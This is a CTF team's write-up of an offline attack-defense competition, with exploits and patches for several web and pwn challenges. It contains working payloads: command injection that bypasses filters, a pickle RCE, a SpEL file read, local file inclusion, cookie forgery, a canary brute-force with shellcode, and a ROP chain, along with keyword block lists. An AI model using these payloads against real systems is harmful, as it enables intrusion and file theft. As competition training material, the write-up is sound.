Summery
Web题太多,Pwn题太少,Fix的时候也是,5个web,1个pwn,pwn基本上改一个很小的地方就过了,基本上没有区分度。
由于早上是动态积分,下午fix是静态积分,我们在早上的时候由于Web先做的不是简单题,导致拿了第26血,没有加成,所以比第一名低40分。pwn也是,由于远程环境的环境和本地的差的太多了,本地一直打通,而远程一直不能通,导致了我们没有拿下全场这一道0解题,而且主办方甚至让我们拉Dockerfile (Ubuntu的某个版本),但是线下赛没有网,真无敌了吧。
不过最后我们也是拿下了第二名(1等奖),同校队伍7也通过赛后申诉拿下了属于自己的分,从12名到11名,成功进入决赛范畴,同样拿下一等奖🎇
Web
cmphp
修改前端:把注释掉的js语句执行在devtools
根据提交后提示HIJKLMN,随便输入一些
/submit.php
function generateStringFromTime($timeStr, $length = 16) {
$hash = hash('sha256', $timeStr);
$result = substr($hash, 0, $length);
return $result;
}
...代码略...
sleep(x); x<60秒,需要自行猜测
$full_time = date('Y-m-d-H-i-s');
sleep(x); x<8秒,需要自行猜测
$time = date('Y-m-d-H-i');
$generatedString = generateStringFromTime($full_time);
$filename = '/tmp/' . $generatedString;
$content = $_POST['HIJKLMN'];
...代码略...
file_put_contents($filename, $content);
$log_entry = "$time 时间提交了一条内容\n";
file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);
echo render_template('submit_success.html', ['time' => $time]);
}
timeStr加sha256取前16个字符
写脚本爆破日志
import httpx
import hashlib
def sha(s: str):
return hashlib.sha256(s.encode()).hexdigest()[:16]
for i in range(0, 61):
s = str(i).ljust(2, '0')
ahs = sha(f"2024-06-18-10-31-{s}") # 从include.php?file=time.txt拿,这应该是第三行,前两个都是hint2024
# print(s, ahs)
txt = httpx.get("http://10.1.0.122:84/include.php?file=" + ahs).text
if txt.find("防御") != -1:
continue
print(txt)
mysite
信息收集到robots.txt
中有include.php
文件包含读文件
http://10.1.0.122:8887/include.php?file=/flag
mygame
访问html源码发现注释给了源码,随后进行源码审计
代码使用了不安全的pickle.loads
,通过__reduce__
函数可以rce,且该函数可控
追踪全局变量messages
发现只在路由/submit
修改了键serialized
,因此试图在此进行注入
变量idiom
,length
均可控,通过修改messages['mes']
控制cmd_line
把这个设置为Header
LOG=b3M6c3lzdGVt (os:system)
执行系统命令并写入idiom.txt
获取回显
message['mes']='cat /flag>/usr/tmp/idiom.txt'
我们发现,这个输入前4个必须是中文,后面随意,我们就填4个中文(注意,第一个是上一个成语的接龙)
把下面的这个文本附加到 ?中中中 这四个中文之后,?是上一个接龙,中文字符。
cat /flag > /var/tmp/idiom.txt
注意到那个截取长度的函数可以是负数,我们填-30可以拿到后面的命令,
然后我们正常访问就可以在原先成语的地方出现flag。
myping
使用''来规避对cat,flag的检查,使用5个/来制造一个/(先拿到ping.php源码进行审计,详情请见fix_myping)
;c''at /////f''lag
即可直接拿到flag
spel
给附件了,阅读源码:org.example.ssppeell.MyController.java
public class MyController {
@RequestMapping({"/spel"})
public String spel(String season) {
Seasons s = new Seasons();
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(season);
EvaluationContext context = new StandardEvaluationContext(s);
return exp.getValue(context).toString();
}
}
直接读文件
urlencode payload
new%20java.io.BufferedReader(new%20java.io.FileReader('/flag')).readLine()
mylogin
注意到,给的两个账号中间一些地方不一样,我们分别对其进行解密
ADLYWIJuh7Dap ZWVodTIyMg== 3eVssA21qmLL
ADLYWIJuh7Dap eHZodTExMQ== 3eVssA21qmLL
分别是eehu222 xvhu111
由于和我们给的账户有点不一样,且这个形式让我们联想到了凯撒加密,我们进入CyberChef,发现ROT13如果是-3的话就是正确的用户名
CyberChef_v10.18.8/index.html#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)ROT13(true,true,false,-3)&input=ZUhab2RURXhNUT09
我们把这个替换成admin,Rot13操作码+3,然后base64放回去:
ADLYWIJuh7DapZGdwbHE=3eVssA21qmLL
然后通过浏览器更改Cookie,然后进入后找到一个任意读文件的输入框,绕过js限制可以读取到flag。
Pwn
guess
题目大概是那个漏洞函数会一直起子进程,bad函数里有栈溢出,子进程不会影响父进程,爆破canary,ret2shellcode
#! /usr/bin/env python3.8
from pwn import *
from ctools import *
from SomeofHouse import *
context(os="linux", arch="amd64")
TMUX_TERMINAL()
# context.log_level = "debug"
elf_path = './guess'
libc_path = ''
init_elf_with_libc(elf_path, libc_path)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)
conn_context(host='10.1.0.122', port=10002, level=REMOTE, elf=elf_path)
# conn_context(args=[PRE_LOAD], interpreter='./ld-linux-x86-64.so.2')
elf = ELF(elf_path)
# libc = ELF(libc_path, checksec=False)
io = conn()
def func():
canary = b'\x00'
for i in range(1, 8):
for j in range(0, 0x100):
canary += p8(j)
pad = b'a' * 0x18 + canary
io.sendafter(b':\n', pad)
if b'stack smashing' in io.recvuntil(b'thinking?'):
canary = canary[:-1]
continue
break
print(hex(u64(canary)))
return canary
def exp():
# io.sendafter(b':\n', b'a' * 0x18 + b'\x00\x00')
shellcode = f"""
mov rax, 0x67616c662f
push rax
mov rax, __NR_open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
mov rax, __NR_read
mov rdi, 3
mov rsi, rsp
mov rdx, 0x50
syscall
mov rax, __NR_write
mov rdi, 1
mov rsi, rsp
mov rdx, 0x50
syscall
"""
io.sendline(b'a' * 0x20 + asm(shellcode))
canary = func()
pad = b'a' * 0x18 + canary + b'a' * 0x8 + p64(0x40404020)
# DEBUG()
io.sendafter(b':\n', pad)
io.sendafter(b':\n', pad)
pass
try:
exp()
io.interactive()
finally:
rm_core()
ezstack
简单的无 leak , 直接 csu + magic_gadget 一套秒.
大概的思路是使用已知的 libc 函数偏移, 使用错位构造的 magic_gadget 直接在内存中使用 csu 函数的一些部分在 bss 段上的 stdout 进行运算, 由于输入直接是 gets , 先构造一步 read , 再构造个 bss 段上的 orw 即可.
from pwn import *
#from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#io=process("./pwn")
io=remote("10.1.0.122",10001)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
def debug():
gdb.attach(io)
pause()
add_ebx_gadget = 0x400847
csu_rbx_rbp_r12_r13_r14_r15=0x4009fa
csu_start = 0x4009e0
mainaddr = 0x4011b2
stdout = elf.bss()
bss = stdout + 0xc00
ret = 0x4006d6
#read_got=elf.got["read"]
leave_ret = 0x4008ff
padding = b'a' * 0x10
def add(off, addr=bss):
return flat([
csu_rbx_rbp_r12_r13_r14_r15,
off, addr + 0x3d, 0, 0, 0, 0,
add_ebx_gadget,
])
offset_open = libc.sym.open - libc.sym._IO_2_1_stdout_
offset_read = libc.sym.read - libc.sym.open
offset_write = libc.sym.write - libc.sym.read
readoffset = libc.sym.read - libc.sym._IO_2_1_stdout_
payload1=padding+flat([
ret,
add(readoffset,stdout),
csu_rbx_rbp_r12_r13_r14_r15,
0, 1, stdout, 0, bss, 0x600,
csu_start, 0, 0, bss, 0, 0, 0, 0,
leave_ret
])
#debug()
io.sendline(payload1)
payload2=b"./flag\x00\x00"
payload2+=flat([
csu_rbx_rbp_r12_r13_r14_r15,
libc.sym.open-libc.sym.read, stdout+0x3d, 0, 0, 0, 0,
add_ebx_gadget,
csu_rbx_rbp_r12_r13_r14_r15,
0, 1, stdout, bss, 0, 0,
csu_start, 0,
offset_read, stdout+0x3d, 0, 0, 0, 0,
add_ebx_gadget,
csu_rbx_rbp_r12_r13_r14_r15,
0, 1, stdout, 3, bss-0x200, 0x40,
csu_start, 0,
offset_write, stdout+0x3d, stdout, 1, bss-0x200, 0x40,
add_ebx_gadget,
csu_rbx_rbp_r12_r13_r14_r15,
0, 1, stdout, 1, bss-0x200, 0x40,
csu_start, 0,
])
#debug()
io.sendline(payload2)
io.interactive()
Fix
fix_mylogin
改进凯撒加密算法,添加一个随机密钥
sercret = 'pasaspdjapfjapsoidfjasdoifhweuqoudsfjjasodsfgoidisguoidsijgosdjinoidsfngit'
# 凯撒加密
def caesar_cipher(text, shift):
crypt = True
if shift<0:
crypt=False
result = ""
iter = 0
for char in text:
if char.isalpha():
shift_amount = 65 if char.isupper() else 97
result += chr((ord(char) - shift_amount + shift + ord(sercret[iter])) % 26 + shift_amount) if crypt else chr((ord(char) - shift_amount + shift - ord(sercret[iter])) % 26 + shift_amount)
else:
result += char
return result
fix_mygame
改进process_idiom,只允许length为正数
def process_idiom(idiom, length):
if length < 0:
return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"
chinese_idiom = extract_chinese(idiom, 4)
if chinese_idiom and len(chinese_idiom) >= 4:
messages["mes"] = custom_slice(idiom, length)
else:
return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"
fix_myping
由于这个4的原因,导致我们可以造斜杠,我们把4去掉就修好了,这样永远不可能制造斜杠,就不能访问根目录了。
preg_replace('/\//', ' ', $ip_address, 4);
<!-- ping.php -->
<!DOCTYPE html>
.....部分省略
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$ip_address = $_POST['ip'];
$ip_address = preprocess_ip($ip_address);
$command = "ping -c 4 " . $ip_address;
echo "<div id=\"output\"> <p>当前执行的命令是: $command</p>";
$output = shell_exec($command);
echo "<pre>$output</pre></div>";
}
function preprocess_ip($ip_address) {
// Replace flag to ''
$ip_address = str_replace('flag', '', $ip_address);
// Remove all spaces
$ip_address = str_replace(' ', '', $ip_address);
// Replace '/' with a space once
$ip_address = preg_replace('/\//', ' ', $ip_address);
// Filter common Linux commands
$filtered_commands = ['nl', 'ruby', 'perl', 'python', 'vim', 'vi', 'cut', 'xxd', 'od', 'grep', 'iconv', 'comm', 'shuf', 'tac', 'strings', 'cat', 'head', 'tail', 'more', 'less', 'grep', 'awk', 'sed', 'IFS', '<', '>', '{', '}'];
foreach ($filtered_commands as $cmd) {
if (strpos($ip_address, $cmd) !== false) {
$ip_address = '|echo "Limit KeyWord"';
break;
}
}
return $ip_address;
}
?>
</div>
</body>
</html>
fix_mysite
不允许包含以/
开头的路径,杜绝越界访问
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
$file = str_replace("/flag", "???", $file);
$file = str_replace("/tmp", "???", $file);
if(substr($file, 0, 1) === "/")
{
die();
}
include($file);
}else{
highlight_file(__FILE__);
}
fix_guess
题目本身漏洞是栈溢出, 在 bad 函数中的 read 可读 0x40字节, 改变可读字节数至 0x18 即可.
fix_cmphp
加固黑名单: 添加php到正则匹配列表
'/php/i',
'/flag/i'
限制时间回显长度: 根据时间格式,长度为固定16,因此限制,并且,检测返回内容是否含有flag
preg_match('/ciscn/i', $time)
<?php
include "modules/functions.php";
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
sleep(2);
$full_time = date('Y-m-d-H-i-s');
sleep(1);
$time = date('Y-m-d-H-i');
$generatedString = generateStringFromTime($full_time);
// $filename = '/tmp/' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8);
$filename = '/tmp/' . $generatedString;
$content = $_POST['HIJKLMN'];
if (empty($content)) {
die(render_template('error.html', ['message' => '检测到HIJKLMN为异常空变量,已被防火墙拦截!']));
}
// if (preg_match('shell|exec|system|passthru|popen|proc_open|eval|assert|base64_decode/', $content)) {
// die(render_template('error.html', ['message' => 'Potential WebShell detected!']));
// }
$forbidden_patterns = [
'/shell/i',
'/exec/i',
'/system/i',
'/passthru/i',
'/popen/i',
'/proc_open/i',
'/eval/i',
'/file_put_contents/i',
'/`/i',
'/assert/i',
'/base64_decode/i',
'/curl_exec/i',
'/curl_multi_exec/i',
'/parse_ini_file/i',
'/show_source/i',
'/array/i',
'/func/i',
'/uasort/i',
'/p?f?open/i',
'/preg_replace/i',
'/create_function/i',
'/include|require/i',
'/php/i',
'/flag/i'
];
foreach ($forbidden_patterns as $pattern) {
if (preg_match($pattern, $content)) {
die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
}
}
file_put_contents($filename, $content);
$log_entry = "$time 时间提交了一条内容<br> \n";
file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);
if(strlen($time) != 16 || preg_match('/ciscn/i', $time))
{
die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
}
echo render_template('submit_success.html', ['time' => $time]);
}
function render_template($template, $vars = []) {
extract($vars);
ob_start();
include $template;
return ob_get_clean();
}
?>